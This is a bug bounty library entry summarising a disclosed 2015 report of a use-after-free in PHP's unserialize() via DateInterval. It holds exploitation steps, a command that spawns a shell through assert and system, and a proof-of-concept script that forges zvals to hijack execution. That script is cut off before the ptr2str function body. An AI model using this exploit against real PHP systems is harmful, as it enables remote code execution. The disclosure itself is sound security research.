# Use after free vulnerability in unserialize() with DateInterval

Use-after-free in PHP unserialize() of DateInterval __wakeup() lets crafted R:/r: references to freed zvals leak memory or achieve remote code execution.

- Payout: hidden
- Severity: critical
- Program: Internet Bug Bounty
- Found by: ryat
- Disclosed: 2015-03-17
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/73244
- Library page: https://bugbountylibrary.com/r/h1%3A73244
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:bounty platform:hackerone sev:critical tech:php technique:source-review vuln:deserialization vuln:memory-corruption

**Target:** PHP unserialize() / DateInterval __wakeup()
**Root cause:** php_date_interval_initialize_from_hash calls convert_to_long/convert_to_string on properties, freeing the zval and children, but unserialize() still permits R:/r: references to that freed memory.
**Steps:**
1. Craft serialized array where DateInterval property 'y' is an array, forcing convert_to_long to free the zval
2. Add a string element containing a fake zval structure (ptr2str of target address, type 0x06)
3. Reference the freed slot via `R:5` inside a nested array to obtain a dangling pointer
4. Overwrite bytes of the fake zval to point at zend_eval_string address
5. Second payload uses DateInterval with `R:5` to trigger the fake zval and call `$f($c)` (e.g. assert with system)
6. Run `php uafpoc.php assert "system('sh')==exit()"` to spawn a shell
**How found:** Code review of php_date_interval_initialize_from_hash macros: noticed convert_to_long/convert_to_string can free the zval while unserialize() still allows R:/r: references to it, yielding a dangling pointer.
**Exploitation:** Attacker controls serialized input to unserialize(); fake zval structures placed in string elements and referenced via R: pointers after the DateInterval property conversion frees them, redirecting a function pointer to zend_eval_string to execute arbitrary PHP/system commands.
**Escalation:** Memory leak of arbitrary blocks can be chained to defeat ASLR, then fake zval hijack yields code execution.
**Insight:** Magic-method handlers that call convert_to_* on user-controlled zvals during unserialize can free the zval; combine with R:/r: reference tokens to keep a dangling pointer and forge a fake zval for control-flow hijack.

## Proof of concept (copied exactly from the original report)

**PHP UAF exploit script with fake zvals**

```
$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 
'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:5;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 
'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateInterval":1:{s:1:"y";a:1:{i:0;R:5;}}}';

$z = unserialize($data2);

function ptr2str($ptr)
```

